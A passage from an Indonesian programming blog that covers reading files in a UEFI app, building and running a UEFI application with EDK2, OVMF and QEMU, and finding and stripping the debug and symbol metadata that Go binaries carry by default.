Masih memakai FileHandleLib, bila ingin membaca satu baris dari sebuah file, saya dapat menggunakan FileHandleReadLine() atau FileHandleReturnLine(). Sebagai contoh, kode program berikut ini akan mencoba membaca file \ProgramData\Microsoft\Diagnosis\osver.txt yang berisi informasi versi Windows dan mencetaknya ke layar bila file tersebut ada:

SimpleFileSystem.c

EFI_FILE_PROTOCOL* OsVerFile = NULL;
CHAR16* WindowsVersion = NULL;
BOOLEAN Ascii = 1;
Status = Root->Open(
        Root,
        &OsVerFile,
        L"\\ProgramData\\Microsoft\\Diagnosis\\osver.txt",
        EFI_FILE_MODE_READ,
        0
);
if (Status == EFI_SUCCESS) {
    WindowsVersion = FileHandleReturnLine(OsVerFile, &Ascii);
    if (WindowsVersion != NULL) {
        Print(L"Versi Windows: %s\n", WindowsVersion);
    }
    FileHandleClose(OsVerFile);
}

FileHandleReturnLine() akan membaca sebuah baris dari file dan mengembalikannya dalam bentuk string CHAR16*. Walaupun kode program di atas berjalan dengan lancar di emulator, saya menemukan bahwa pada PC dengan driver NTFS bawaan, kode program di atas hanya mencetak satu krakter saja. Implementasi FileHandleReturnLine() akan membaca file dengan FileHandleRead() berulang kali (per karakter). Sementara itu, perilaku posisi file tidak sesuai dengan yang diharapkan saat file dibaca berulang kali, bahkan menyebabkan kesalahan bila FileHandleRead() dipanggil kembali walaupun belum mencapai EOF. Untuk mengatasinya, saya dapat membaca file hanya sekali saja, misalnya dengan menggunakan kode program seperti berikut ini:

SimpleFileSystem.c

EFI_FILE_PROTOCOL* OsVerFile = NULL;
CHAR16* WindowsVersion = NULL;
Status = Root->Open(
        Root,
        &OsVerFile,
        L"\\ProgramData\\Microsoft\\Diagnosis\\osver.txt",
        EFI_FILE_MODE_READ,
        0
);
if (Status == EFI_SUCCESS) {
    UINTN BufferSize = 50;
    CHAR8* Buffer = AllocateZeroPool(50);
    Status = FileHandleRead(OsVerFile, &BufferSize, Buffer);
    if (Status == EFI_SUCCESS) {
        Print(L"Versi Windows: %a\n", Buffer);
    } else {
        Print(L"Gagal membaca file versi Windows: %r\n", Status);
    }
    FreePool(Buffer);
    FileHandleClose(OsVerFile);
}

Membuat Aplikasi UEFI Dengan EDK2

Sat, 03 Aug 2024 00:00:00 GMT

Bootstrap loader adalah komponen sistem operasi yang dikerjakan paling awal pada saat komputer dinyalakan. Pada era BIOS, bootstrap loader dapat menggunakan BIOS interrupt call seperti 10h untuk mencetak tulisan di layar dan 13h untuk membaca disk. Karena layanan yang tersedia pada kondisi ini masih sangat terbatas, bootstrap loader biasanya akan mempersiapkan perangkat input/output dan dukungan file system (seperti FAT32, ext4, NTFS dan sebagainya) untuk membaca file kernel sistem operasi yang tersimpan di disk. Ini adalah permasalahan “telur dan ayam” karena kode program bootstrap loader yang lumayan kompleks tersebut tidak akan dipakai lagi setelah kernel sistem operasi dijalankan. Unified Extensible Firmware Interface (UEFI) berusaha menyelesaikan permasalahan ini dengan melakukan standarisasi layanan (dalam bentuk boot services dan runtime services) serta dukungan file system FAT32 secara bawaan. Hampir semua perangkat PC baru saat ini sudah menggunakan UEFI dan sistem operasi populer untuk PC seperti Windows & Linux juga sudah mendukung UEFI.

Bila kode program bootstrap loader era BIOS biasanya di-simpan di sektor pertama yang disebut Master Boot Record (MBR), kode program bootstrap loader di UEFI disimpan dalam bentuk file EFI di sebuah partisi FAT32 dengan nama seperti BOOTX64.EFI. File EFI ini menggunakan format Portable Executable (PE) sama seperti yang dipakai oleh file EXE di sistem operasi Windows. Selain itu, kebanyakan motherboard PC juga dilengkapi dengan UEFI Shell yang memungkinkan pengguna untuk menjalankan file EFI secara interaktif saat komputer dinyalakan (sebelum sistem operasi dikerjakan). Pada tulisan ini, saya akan mencoba membuat aplikasi UEFI sederhana yang dapat dijalankan dari UEFI Shell.

EFI Development Kit (EDK) II

Walaupun UEFI terdengar lebih mudah di-program, proses awal untuk menulis sebuah aplikasi UEFI membutuhkan usaha yang cukup banyak bila dibandingkan menulis kode Assembly untuk MBR yang hasilnya dapat langsung disalin lewat dd. Untuk membuat aplikasi UEFI, saya akan menggunakan Tianocore EDK II yang merupakan platform referensi resmi untuk UEFI dari Intel. Saya akan mulai dengan men-clone kode program EDK II dari GitHub dengan menggunakan perintah berikut ini:

Terminal window

$ cd /home/developer
$ git clone https://github.com/tianocore/edk2.git
$ cd edk2
$ git checkout edk2-stable202405
$ git submodule update --init

Sampai disini, saya akan memperoleh folder /home/developer/edk2 dengan struktur folder yang terlihat seperti berikut ini:

Untuk menghindari kesalahan versi dan tools yang tidak ter-install, saya akan menjalankan proses building dari dalam container Docker. Tianocore memiliki beberapa image siap pakai yang dapat dilihat https://github.com/tianocore/containers. Sebagai latihan, saya akan menggunakan image ghcr.io/tianocore/containers/ubuntu-22-test:latest. Container ini sudah dilengkapi dengan QEMU yang dapat saya pakai untuk menjalankan file EFI pada saat development. Karena file EFI hanya bisa dijalankan oleh UEFI, bukan oleh sistem operasi seperti aplikasi biasanya, saya tentu saja tidak ingin me-restart PC setiap kali ingin melihat hasil perubahan kode program.

Untuk menjalankan container secara interaktif, saya dapat memberikan perintah seperti berikut ini:

Terminal window

$ docker run -it -v $HOME/edk2:/edk2 --workdir /edk2 --env PACKAGES_PATH=/edk2 ghcr.io/tianocore/containers/ubuntu-22-test:latest /bin/bash
root@8acd5d:/edk2# . edksetup.sh
## OUTPUT:
## Loading previous configuration from /edk2/Conf/BuildEnv.sh
## Using EDK2 in-source Basetools
## WORKSPACE: /edk2
## EDK_TOOLS_PATH: /edk2/BaseTools
## CONF_PATH: /edk2/Conf
root@8acd5d:/edk2# exit

Pada perintah di atas, saya menjalankan edksetup.sh untuk melakukan inisialisasi proyek EDK2.

Open Virtual Machine Firmware (OVMF)

OVMF adalah implementasi EDK2 untuk QEMU. Dengan OVMF, mesin virtual QEMU akan memiliki dukungan UEFI. Langkah pertama yang perlu saya lakukan untuk memakai OVMF adalah men-build proyek tersebut. Saya akan mulai dengan mengubah beberapa nilai di Conf/target.txt dengan isi seperti berikut ini:

/home/developer/edk2/Conf/target.txt

ACTIVE_PLATFORM         = OvmfPkg/OvmfPkgX64.dsc
TARGET_ARCH             = X64
TOOL_CHAIN_TAG          = GCC5

Berikutnya, saya akan memulai proses building dengan perintah seperti berikut ini:

Terminal window

$ docker run -it -v $HOME/edk2:/edk2 --workdir /edk2 --env PACKAGES_PATH=/edk2 ghcr.io/tianocore/containers/ubuntu-22-test:latest /bin/bash
root@c9338:/edk2# . edksetup.sh

root@c9338:/edk2# make -C /edk2/BaseTools/Source/C
## OUTPUT:
## ...
## make[1]: Leaving directory '/edk2/BaseTools/Source/C/DevicePath'
## Finished building BaseTools C Tools with HOST_ARCH=X64
## make: Leaving directory '/edk2/BaseTools/Source/C'

root@c9338:/edk2# build
## OUTPUT:
## ...
## - Done -
## Build end time: 15:57:09, Aug.03 2024
## Build total time: 00:00:59

Pada perintah di atas, setelah proses building selesai, saya akan memperoleh file Build/OvmfX64/DEBUG_GCC5/FV/OVMF.fd yang merupakan hasil akhir yang dapat dipakai oleh QEMU. Karena akan sering dipakai dan jarang berubah, saya akan men-copy file ini sebagai bios.bin dengan perintah seperti:

Terminal window

root@c9338:/edk2# cp Build/OvmfX64/DEBUG_GCC5/FV/OVMF.fd bios.bin

Sekarang, saya dapat menggunakan file bios.bin tersebut di QEMU dengan perintah seperti berikut ini:

Terminal window

root@c9338:/edk2# qemu-system-x86_64 -bios bios.bin -nographic -net none
### OUTPUT:
### UEFI Interactive Shell v2.2
### EDK II
### UEFI v2.70 (EDK II, 0x00010000)
### Mapping table
###     BLK0: Alias(s):
###          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
### Press ESC in 1 seconds to skip startup.nsh or any other key to continue.
Shell> exit

Untuk keluar dari QEMU di modus teks, tekan tombol Ctrl+A diikuti dengan X.

Pada saat tulisan ini dibuat, terdapat bug https://bugzilla.tianocore.org/show_bug.cgi?id=4250 yang menyebabkan QEMU crash saat menjalankan OVMF. Untuk menghindari bug ini, gunakan QEMU dengan versi 8 ke atas. Sayangnya, container EDK2 versi terbaru yang saya pakai pada saat tulisan ini dibuat masih menggunakan QEMU 7.1.0. Untuk menggunakan QEMU 8, lakukan perubahan pada Dockerfile di https://github.com/tianocore/containers dan buat ulang image berdasarkan Dockerfile tersebut.

Bila hal di atas tidak memungkinkan, tambahkan argumen -fw_cfg name=opt/org.tianocore/X-Cpuhp-Bugcheck-Override,string=yes pada saat menjalankan QEMU seperti yang terlihat pada perintah berikut ini:

Terminal window

root@c9338:/edk2# qemu-system-x86_64 -bios bios.bin -nographic -net none -fw_cfg name=opt/org.tianocore/X-Cpuhp-Bugcheck-Override,string=yes

Flag di atas akan mengabaikan bug dari QEMU tetapi bisa saja menyebabkan hal tidak terduga akibat bug yang dibiarkan tersebut.

Menulis Aplikasi UEFI

Sekarang saatnya untuk menulis kode program aplikasi UEFI. Proyek EDK2 dikelompokkan ke dalam satuan yang disebut sebagai package. Sebagai contoh, pada saat men-build OVMF, saya bekerja dengan package OvmfPkg. Untuk aplikasi UEFI latihan ini, saya akan membuat sebuah package baru di folder tersendiri yang berada di luar folder EDK2. Folder package yang saya buat memiliki struktur seperti berikut ini:

File MyAppPkg.dec merupakan file yang selalu ada di package EDK2 yang berisi informasi tentang package tersebut. Sebagai contoh, saya akan menambahkan isi berikut ini pada file MyAppPkg.dec:

/home/developer/MyAppPkg/MyAppPkg.dec

[Defines]
  DEC_SPECIFICATION              = 0x00010005
  PACKAGE_NAME                   = MyAppPkg
  PACKAGE_GUID                   = e27ea641-4c6c-4b4d-83f1-5bc846dd165a
  PACKAGE_VERSION                = 0.1

Pada definisi di atas, saya memberikan nama package di PACKAGE_NAME, versi package di PACKAGE_VERSION dan juga sebuah GUID unik sebagai identitas package di PACKAGE_GUID. Selain file DEC, sebuah package di EDK2 juga memiliki file DSC. Sebagai contoh, saya menambahkan isi berikut ini pada file MyAppPkg.dsc:

/home/developer/MyAppPkg/MyAppPkg.dsc

[Defines]
  PLATFORM_NAME                  = MyAppPkg
  PLATFORM_GUID                  = 3513f791-046c-4490-8543-e9cfdf7d0920
  PLATFORM_VERSION               = 0.1
  DSC_SPECIFICATION              = 0x00010005
  SUPPORTED_ARCHITECTURES        = X64
  OUTPUT_DIRECTORY               = Build/MyAppPkg
  BUILD_TARGETS                  = RELEASE

[BuildOptions]

!include MdePkg/MdeLibs.dsc.inc

[LibraryClasses]
  UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf
  UefiLib|MdePkg/Library/UefiLib/UefiLib.inf
  PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf
  PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
  MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
  DebugLib|MdePkg/Library/BaseDebugLibNull/BaseDebugLibNull.inf
  BaseMemoryLib|MdePkg/Library/BaseMemoryLib/BaseMemoryLib.inf
  BaseLib|MdePkg/Library/BaseLib/BaseLib.inf
  UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf
  DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf
  UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf

[Components]
  Application/SampleApp/SampleApp.inf

Sama seperti di file DEC, pada file DSC, setiap package memiliki nilai PLATFORM_NAME, PLATFORM_GUID dan OUTPUT_DIRECTORY yang unik. Saya dapat mengatur target arsitektur di SUPPORTED_ARCHITECTURES. Karena hanya akan dipakai di PC pribadi, saya menggunakan nilai X64 untuk SUPPORTED_ARCHITECTURES.

File DSC dapat menyertakan file DSC lain dengan menggunakan !include. Sebagai contoh, pada deklarasi di atas, saya menggunakan !include MdePkg/MdeLibs.dsc.inc untuk menambahkan deklarasi [LibraryClasses] yang umum dipakai. Nilai pada [LibraryClasses] menggunakan format seperti NamaLibrary|LokasiLibrary. File INF di package ini nantinya dapat merujuk ke library dengan menggunakan NamaLibrary. Sebagai contoh, karena akan membuat aplikasi UEFI, saya menambahkan UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf. Di file INF untuk aplikasi nanti, saya cukup menggunakan UefiApplicationEntryPoint sebagai nilai di [LibraryClasses].

Sebuah package mengandung satu atau lebih komponen. Pada EDK2, komponen berupa aplikasi UEFI biasanya diletakkan di folder Application, komponen library di folder Library, dan sebagainya. Definisi komponen untuk sebuah package perlu ditambahkan di bagian [Components] di file DSC. Sebagai contoh, karena saya hanya akan membuat sebuah aplikasi tunggal, isi [Components] di file DSC saya hanya berupa Application/SampleApp/SampleApp.inf.

Masing-masing komponen memiliki file INF-nya sendiri. Sebagai latihan, saya akan menggunakan isi berikut ini untuk file SampleApp.inf:

/home/developer/MyAppPkg/Application/SampleApp/SampleApp.inf

[Defines]
  INF_VERSION                = 0x00010005
  BASE_NAME                  = SampleApp
  FILE_GUID                  = a03e1432-7a41-42a7-8a6c-15f8bd31f88a
  MODULE_TYPE                = UEFI_APPLICATION
  VERSION_STRING             = 0.1
  ENTRY_POINT                = SampleAppMain

[Sources]
  SampleApp.c

[Packages]
  MdePkg/MdePkg.dec

[LibraryClasses]
  UefiApplicationEntryPoint
  UefiLib

Pada deklarasi di atas, saya menambahkan nama komponen di BASE_NAME, versi komponen di VERSION_STRING dan sebuah GUID unik untuk komponen di FILE_GUID. Saya menggunakan nilai UEFI_APPLICATION di MODULE_TYPE karena ini adalah aplikasi UEFI. Beberapa nilai lain yang mungkin untuk MODULE_TYPE adalah UEFI_DRIVER bila ini adalah driver UEFI, USER_DEFINED untuk logo, BASE untuk dipakai dimana saja, dan sebagainya.

Khusus untuk aplikasi UEFI, saya perlu mengisi nilai ENTRY_POINT dengan nama function yang akan dikerjakan saat aplikasi dijalankan. Pada deklarasi di atas, karena nilai ENTRY_POINT adalah SampleAppMain, maka saya perlu membuat sebuah function dengan nama SampleAppMain. Saya perlu mendaftarkan seluruh file kode program yang dipakai di bagian [Sources].

Bila kode program bergantung pada package lain, saya perlu menyertakan file DEC package tersebut di bagian [Packages]. MdePkg dibutuhkan oleh build system EDK2 sehingga saya perlu menyertakan package tersebut. Nilai [LibraryClasses] adalah nama library yang dibutuhkan oleh komponen sesuai dengan yang dideklarasikan di file DSC.

Sekarang saatnya menulis kode program. Sebagai contoh, saya akan membuat sebuah kode program yang men-cetak tulisan ke layar, menunggu hingga sebuah tombol di keyboard ditekan dan menghapus layar sebelum keluar:

/home/developer/MyAppPkg/Application/SampleApp/SampleApp.c

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/DebugLib.h>


EFI_STATUS EFIAPI SampleAppMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) {
    EFI_INPUT_KEY  Key;
    UINTN Index;
    EFI_STATUS Status;

    Print(L"Selamat datang, Jocki!\n");
    Print(L"Tekan sembarang tombol untuk keluar...");

    Status = SystemTable->BootServices->WaitForEvent(1, &SystemTable->ConIn->WaitForKey, &Index);
    ASSERT_EFI_ERROR(Status);
    Status = SystemTable->ConIn->ReadKeyStroke(SystemTable->ConIn, &Key);
    ASSERT_EFI_ERROR(Status);

    SystemTable->ConOut->ClearScreen(SystemTable->ConOut);
    return EFI_SUCCESS;
}

Dengan hanya 10 baris, kode program di atas terlihat jauh lebih sederhana bila dibandingkan dengan kode program MBR yang memanggil BIOS interrupt call. EDK2 memiliki styling kode program yang agak berbeda dari kode program C pada umumnya. Sebagai contoh, pada EDK2, variabel global diawali huruf kecil sementara untuk variabel lokal menggunakan camel case yang diawali huruf kapital. Kode program EDK2 juga tidak menggunakan tipe data C melainkan macro yang disediakan seperti UINTN. Kode program di atas sendiri sebenarnya tidak sepenuhnya mengikuti code style EDK2 seperti selalu menambahkan spasi sebelum tanda kurung buka (termasuk pada pemanggilan function).

Menjalankan Aplikasi UEFI

Untuk men-build package yang telah saya buat sebelumnya, saya perlu men-mount dua folder berbeda di container: satu untuk folder package dan satu lagi untuk folder yang berisi EDK2. Saya kemudian menggunakan variabel PACKAGES_PATH yang berisi lokasi kedua folder tersebut (di dalam container) sehingga EDK2 tahu bahwa kedua folder akan dipakai bersamaaan. Untuk itu, saya bisa memberikan perintah seperti berikut ini:

Terminal window

$ docker run -it -v $HOME/edk2:/edk2 -v $HOME/MyAppPkg:/MyAppPkg --workdir /edk2 --env PACKAGES_PATH=/edk2:/MyAppPkg ghcr.io/tianocore/containers/ubuntu-22-test:latest /bin/bash
root@37dee:/edk2# . edksetup.sh

Saya kemudian memanggil tool build dari EDK2 untuk men-build package aplikasi saya dengan menyertakan nama file DSC seperti berikut ini:

Terminal window

root@37dee:/edk2# build -a X64 -b RELEASE -t GCC5 -p MyAppPkg.dsc

Hasil akhir dari perintah di atas adalah file Build/MyAppPkg/RELEASE_GCC5/X64/SampleApp.efi. Saya dapat menjalankan file ini di QEMU dengan menggunakan perintah seperti berikut ini:

Terminal window

root@37dee:/edk2# qemu-system-x86_64 --bios bios.bin -drive file=fat:rw:/edk2/Build/MyAppPkg/RELEASE_GCC5/X64 -nographic -net none
## OUTPUT:
## UEFI Interactive Shell v2.2
## EDK II
## UEFI v2.70 (EDK II, 0x00010000)
## Mapping table
##      FS0: Alias(s):HD0a1:;BLK1:
##          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
##     BLK0: Alias(s):
##          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
##     BLK2: Alias(s):
##          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
## Press ESC in 1 seconds to skip startup.nsh or any other key to continue.
##

Shell> fs0:
FS0:\> SampleApp.efi
## OUTPUT:
## Selamat datang, Jocki!
## Tekan sembarang tombol untuk keluar...

QEMU dapat mensimulasikan sebuah folder menjadi sebuah disk FAT32 dengan menggunakan -drive file=fat:rw:lokasi_folder. Dengan fitur ini, QEMU akan membuat sebuah disk yang berisi folder output dimana SampleApp.efi berada. Setelah masuk ke dalam UEFI Shell, saya memberikan perintah fs0: untuk beralih ke disk virtual tersebut. Untuk menjalankan aplikasi UEFI, saya cukup mengetikkan nama file-nya seperti SampleApp.efi. Pada hasil di atas, terlihat bahwa aplikasi UEFI bekerja sesuai dengan yang diharapkan.

Untuk menjalankan file EFI pada perangkat nyata, saya perlu menyiapkan sebuah USB flash drive dengan partisi FAT32 (atau NTFS bila UEFI pada PC mendukung NTFS) dan menyalin file SampleApp.efi ke partisi tersebut. Pada saat komputer dinyalakan, saya dapat menekan tombol DEL (tombol ini bisa berbeda tergantung pada motherboard yang dipakai) untuk masuk ke halaman pengaturan BIOS/UEFI, lalu saya perlu memilih menu seperti Boot to UEFI Shell. Tidak lama kemudian saya akan menjumpai UEFI Shell sama seperti di QEMU dimana saya bisa memberikan perintah yang sama untuk menjalankan aplikasi UEFI.

Sebelum menjalankan file EFI pada perangkat nyata, saya perlu mematikan terlebih dahulu fasilitas Secure Boot. Ini adalah fasilitas UEFI untuk memastikan setiap aplikasi dan driver sudah di-verifikasi. Proses signing memerlukan pendaftaran aplikasi di Windows Hardware Dev dengan persyaratan seperti EV certificate dan akun Azure Active Directory. Bila Secure Boot aktif dan file EFI yang hendak dijalankan belum di-sign, UEFI akan menolak menjalankan file tersebut. Fitur Secure Boot dapat dimatikan melalui halaman pengaturan BIOS/UEFI.

Proses ini sempat memicu kekhawatiran monopoli dari Microsoft karena pembuat bootstrap loader untuk sistem operasi seperti Linux perlu mendaftarkan file EFI untuk di-sign oleh Microsoft yang notabene punya sistem operasi sendiri: Windows. Untuk mengakali ini, komunitas Linux mendaftarkan sebuah bootstrap loader shim yang tidak melakukan apa2 selain mengerjakan file lain. Karena shim sudah di-sign oleh Microsoft, ia bisa dijalankan dalam modus UEFI Secure Boot dan selanjutnya bisa menjalankan file lain yang tidak perlu didaftarkan ke Microsoft secara bebas. Ini mirip seperti karyawan yang mengakali security policy yang terlalu ketat di laptop mereka :)

Tidak semua UEFI pada perangkat PC dilengkapi dengan UEFI Shell. Bila UEFI pada perangkat keras tidak dilengkapi dengan UEFI Shell, saya dapat menjalankan aplikasi UEFI sama seperti bootloader sistem operasi pada umumnya. Sebagai contoh, notebook yang saya pakai tidak memiliki UEFI Shell, tetapi tetap mendeteksi file EFI di USB flash drive seperti yang terlihat pada gambar berikut ini:

Setelah memilih file EFI yang saya buat, ia tetap bekerja seperti yang diharapkan:

Konfigurasi IDE CLion

IDE CLion yang saya pakai tidak mendukung EDK2 sehingga proses pembuatan kode program terasa sangat sulit tanpa content assist, syntax highlightning dan sebagainya. Untuk mengakali ini, saya bisa membuat sebuah file CMakeLists.txt dengan isi seperti berikut ini:

CMakeLists.txt

cmake_minimum_required(VERSION 3.24)
project(MyAppPkg C)

set(CMAKE_C_STANDARD 11)

add_executable(MyAppPkg Application/SampleApp/SampleApp.c)

target_include_directories(MyAppPkg PUBLIC "$ENV{HOME}/edk2/MdePkg/Include")

target_compile_options(MyAppPkg PUBLIC -Wno-incompatible-pointer-types)

add_definitions(-include X64/ProcessorBind.h)

File ini murni dipakai oleh IDE saja dan sama sekali tidak dipakai pada proses build (CMake) karena EDK2 memiliki build tool-nya tersendiri. Saya mungkin perlu mengubah CMakeLists.txt setiap kali file DSC dan INF berubah, namun ini pantas diperjuangkan demi fitur IDE yang layak seperti yang terlihat pada gambar berikut ini:

Aplikasi Go Mengandung Debug Info Secara Default

Sat, 29 Jun 2024 00:00:00 GMT

Pada saat saya sedang meningkatkan pengetahuan forensik digital dengan memahami metadata apa saja yang tersimpan dalam file multimedia (seperti video & audio), saya menulis sebuah program Go jch-metadata sebagai latihan praktikum-nya. Saya memilih Go karena saya bisa menjalankan aplikasi ini secara langsung tanpa perlu instalasi tambahan. Saya cukup menggunakan perintah go build untuk menghasilkan file binary jch-metadata yang bisa langsung dijalankan di Linux atau GOOS=windows GOARCH=amd64 go build untuk menghasilkan file binary jch-metadata.exe yang bisa langsung dijalankan di Windows. Namun, saya cukup terkejut saat menemukan bahwa aplikasi yang saya buat untuk membaca metadata tersebut ternyata juga mengandung metadata yang bisa dipakai untuk mengidentifikasi saya!

Pembuktian

Untuk menunjukkannya, saya akan membuat sebuah aplikasi Go sederhana seperti berikut ini:

main.go

package main

import (
  "fmt"
  "runtime/debug"
)

func main() {
   err := fmt.Errorf("This error is raised on purpose")
   debug.PrintStack()
   panic(err)
}

Kode program di atas akan mencetak stack dan berhenti dengan pesan kesalahan. Saya dapat men-build kode program di atas dengan perintah seperti berikut ini:

Terminal window

go mod init test
go build

Hasilnya adalah sebuah binary dengan nama test. Ini adalah aplikasi publik yang dapat saya distribusikan tanpa harus mempublikasikan kode program saya. Bila saya menjalankan aplikasi ini di komputer lain, saya akan menemukan hasil seperti berikut ini:

Terminal window

./test

### OUTPUT:
###
### goroutine 1 [running]:
### runtime/debug.Stack()
###   /tmp/go/sdk/go1.19.4/src/runtime/debug/stack.go:24 +0x65
### runtime/debug.PrintStack()
###   /tmp/go/sdk/go1.19.4/src/runtime/debug/stack.go:16 +0x19
### main.main()
###   /tmp/test/main.go:10 +0x3b
### panic: This error is raised on purpose
###
### goroutine 1 [running]:
### main.main()
###     /tmp/test/main.go:11 +0x53

Terlihat bahwa aplikasi tetap mencetak lokasi Go SDK di komputer yang saya pakai untuk melakukan building. Selain itu, aplikasi ini juga tetap menyimpan informasi nama file di kode program Go saya: /tmp/test/main.go. Fitur ini sangat bagus untuk mempermudah troubleshooting bila terdapat kesalahan yang dilaporkan oleh pengguna karena terdapat informasi nama file dan nomor baris secara detail di pesan kesalahan.

Walaupun demikian, informasi ini juga dapat dipakai untuk menebak sistem operasi dan nama user yang saya pakai. Sebagai contoh, nama file seperti /home/developer/Documents/app/main.go menunjukkan bahwa ini file ini dibuat di Linux dengan nama user developer. Ini mungkin bukan informasi sensitif bila seandainya proses building dilakukan secara otomatis lewat container yang tidak permanen, namun informasi ini menjadi lebih berharga bila proses build dilakukan langsung dari laptop kerja-nya programmer. Untuk beberapa kasus, seperti pengembangan malware, informasi ini sensitif karena bisa dipakai untuk klasifikasi oleh tim threat intel (misalnya mendeteksi apakah beberapa malware berbeda dibuat oleh programmer yang sama).

Apa saja metadata yang tersimpan di sebuah aplikasi yang dibuat dengan bahasa Go?

DWARF

Format yang dipakai oleh aplikasi Linux mengikuti spesifikasi Executable and Linkable Format (ELF). Pada dasarnya, sebuah file ELF terdiri atas ELF header yang di-ikuti oleh program header dan section header. Kode program yang akan di-eksekusi oleh CPU (dalam bahasa mesin) akan ditulis di section .text. Section lainnya selain .text biasanya hanya berisi informasi pendukung.

Sebagai contoh DWARF sebagai standar format debugging yang paling umum dipakai akan menambahkan informasi section seperti .debug_info, .debug_pubnames, dan sebagainya (semua yang diawali dengan .debug_). Sebagai informasi, pada proses building dengan go build, Go secara default akan menambahkan section DWARF tersebut. Namun bila menggunakan hex editor, saya tidak akan menemukan daftar nama file di section DWARF secara langsung karena informasi di DWARF dikompres secara default sejak Go 1.11 (dengan tujuan untuk mengurangi ukuran file).

Untuk men-dekompres informasi DWARF, saya dapat memberikan perintah:

Terminal window

objcopy --decompress-debug-sections test decompressed-test

Setelah perintah di atas diberikan, saya akan menemukan file decompressed-test dengan ukuran yang lebih besar dibanding test (2,9M versus 1,8M). Bila saya membuka file ini melalui hex editor, saya dapat melihat informasi nama file source code dengan mudah.

Bagian paling utama dari informasi debugging DWARF berada di section .debug_info. Namun, informasi nomor baris dan nama file untuk sebuah kode program berada di section lain yang bernama .debug_line. Saya bisa menampilkannya dengan menggunakan perintah objdump seperti berikut ini:

Terminal window

objdump -WL test

### OUTPUT:
###
###
### test:     file format elf64-x86-64
###
### Contents of the .debug_line section:
###
### <autogenerated>:
### File name                            Line number    Starting address    View    Stmt
###
### /tmp/go/sdk/go1.19.4/src/io/io.go:
### io.go                                         29            0x475f60               x
### io.go                                         29            0x475f6a               x
###
### /tmp/go/sdk/go1.19.4/src/errors/errors.go:
### errors.go                                     59            0x475f7f
### errors.go                                     59            0x475f80               x
### errors.go                                     59            0x475f85
###
### /tmp/go/sdk/go1.19.4/src/io/io.go:
### io.go                                         29            0x475f97               x
### io.go                                         29            0x475f9e
### io.go                                         29            0x475fb7               x
### io.go                                         29            0x475fbe
###
### /tmp/go/sdk/go1.19.4/src/errors/errors.go:
### errors.go                                     59            0x475fc5               x
### errors.go                                     59            0x475fd1
###
### /tmp/go/sdk/go1.19.4/src/io/io.go:
### io.go                                         32            0x475fe3               x
### io.go                                         32            0x475fea
### io.go                                         32            0x476003               x
### io.go                                         32            0x47600a
###
### /tmp/go/sdk/go1.19.4/src/errors/errors.go:
### errors.go                                     59            0x47600f               x
### errors.go                                     59            0x47601b
###
### ...

Untuk menghilangkan informasi DWARF, pada saat building, saya dapat menambahkan argumen -ldflags="-w" seperti pada contoh berikut ini:

Terminal window

go build -ldflags="-w"

Sekarang, bila saya memberikan perintah objdump, saya tidak akan menemukan lagi daftar lokasi source code seperti yang terlihat pada hasil eksekusi berikut ini:

Terminal window

objdump -WL test

### OUTPUT:
###
### test:     file format elf64-x86-64
###

Selain itu, ukuran file juga menjadi lebih kecil dari semula (1,3M vs 1,8M).

Symbol Table

Section berikutnya yang dapat dihilangkan adalah symbol table yang berada di .symtab. Bagian ini berisi nama untuk setiap data yang ada. Untuk melihatnya, saya dapat menggunakan perintah objdump seperti berikut ini:

Terminal window

objdump -t test

### OUTPUT:
###
### ...
### 0000000000434040 g     F .text  000000000000003a runtime.main.func1
### 0000000000434080 g     F .text  0000000000000339 runtime.main
### 00000000004343c0 g     F .text  0000000000000035 runtime.main.func2
### 00000000004828c0 g     F .text  000000000000005f main.main
### 00000000005147a0 g     O .noptrdata  0000000000000028 main..inittask
### 000000000052b1a0 g     O .bss  0000000000000008 runtime.main_init_done
### 000000000055a12d g     O .noptrbss  0000000000000001 runtime.mainStarted
### 00000000004b8d90 g     O .rodata  0000000000000008 runtime.mainPC
### ...

Walaupun tidak mengandung nama file, saya dapat menghilangkannya dengan menggunakan argumen -ldflags="-s" seperti pada contoh berikut ini:

Terminal window

go build -ldflags="-s"

Hasil akhirnya adalah binary yang lebih kecil (1,2M vs 1,3M). Selain itu, bila saya memberikan perintah objdump -t test, tidak ada lagi informasi symbol table yang ditampilkan.

Go Runtime Symbol Information

Go Runtime Symbol Information adalah fitur khusus Go yang menambahkan section .gopclntab dan .gosymtab pada file ELF yang dihasilkan. Bila DWARF dan symbol table adalah fitur umum pada ELF, Go Runtime Symbol Information adalah fitur spesifik pada Go. Fitur ini dipakai oleh garbage collector milik Go, menghasilkan stack trace yang akurat, dan sebagainya. Dengan demikian, bila sebuah aplikasi mengandung section .gopclntab dan .gosymtab, maka aplikasi tersebut kemungkinan besar dibuat dari bahasa pemograman Go.

Untuk menampilkan isi .gopclntab, saya dapat menggunakan perintah seperti berikut ini:

Terminal window

objdump -s -j .gopclntab test

### OUTPUT:
###
### test:     file format elf64-x86-64
###
### Contents of section .gopclntab:
###  4bb060 f0ffffff 00000108 92050000 00000000  ................
###  4bb070 bb000000 00000000 00104000 00000000  ..........@.....
###  4bb080 60000000 00000000 40bb0000 00000000  `.......@.......
###  4bb090 40c30000 00000000 60e90000 00000000  @.......`.......
###  4bb0a0 c09b0300 00000000 00000000 00000000  ................
###  4bb0b0 00000000 00000000 00000000 00000000  ................
###  4bb0c0 696e7465 726e616c 2f637075 2e496e69  internal/cpu.Ini
###  4bb0d0 7469616c 697a6500 696e7465 726e616c  tialize.internal
